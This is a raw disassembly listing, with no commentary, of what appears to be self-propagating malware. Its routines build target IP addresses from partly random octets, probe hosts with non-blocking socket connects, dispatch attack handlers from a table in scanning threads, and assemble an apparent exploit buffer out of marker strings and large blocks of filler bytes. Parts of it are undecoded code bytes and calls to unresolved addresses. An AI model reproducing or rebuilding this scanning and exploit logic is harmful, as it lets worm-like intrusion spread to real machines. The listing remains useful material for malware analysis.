lea esi, ds:4CB0F0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAECC inc eax push eax mov [ebp+arg_0], eax call dword_4CAFA0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0F0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAFA4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB040 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF4C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF8C push esi mov edi, eax call dword_4CB03C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 26905FEh nop push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEE4[ebx] cmp dword_4CB0F4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEE4[ebx] push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431AA4 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCE0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0F0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB030 push eax lea eax, [ebp+var_28C] push offset unk_431A7C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0F0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB030 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43143C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2670F10h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26E0A63h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFE4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0F0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0F0 push esi nop call near ptr 26F01A4h push 80000400h push esi nop call near ptr 26F0000h test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B88 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0F4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B54 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEE4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 26807C8h push eax lea eax, [ebp+var_1CC] push offset unk_431B1C push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0F0[eax*8] push eax call dword_4CB030 push eax lea eax, [ebp+var_1CC] push offset unk_431ADC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0F4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0F0 call near ptr 26F01A4h nop loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A63h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0F4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAFA4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB024 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF4C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEEC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB030 push eax mov edi, offset dword_4CDAB4 push offset dword_431BBC push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB03C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B03015FFh, 8D50004Ch, 0FFFECC85h dd 1BE468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCE00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 11E85757h, 90022739h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0ACE890FCh, 0FF022542h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAECCh dd 45895040h, 0A015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 3015FFE4h, 50004CB0h, 0FED0858Dh, 3868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0E0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 27381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0BCE80875h, 90022541h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 3015FFE4h, 50004CB0h, 0FED0858Dh, 0C68FFFFh dd 5000431Ch, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE5C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C91C call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C70 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C78 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FF4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C7C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FE8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FE4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FE0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FD4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431FCF+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, 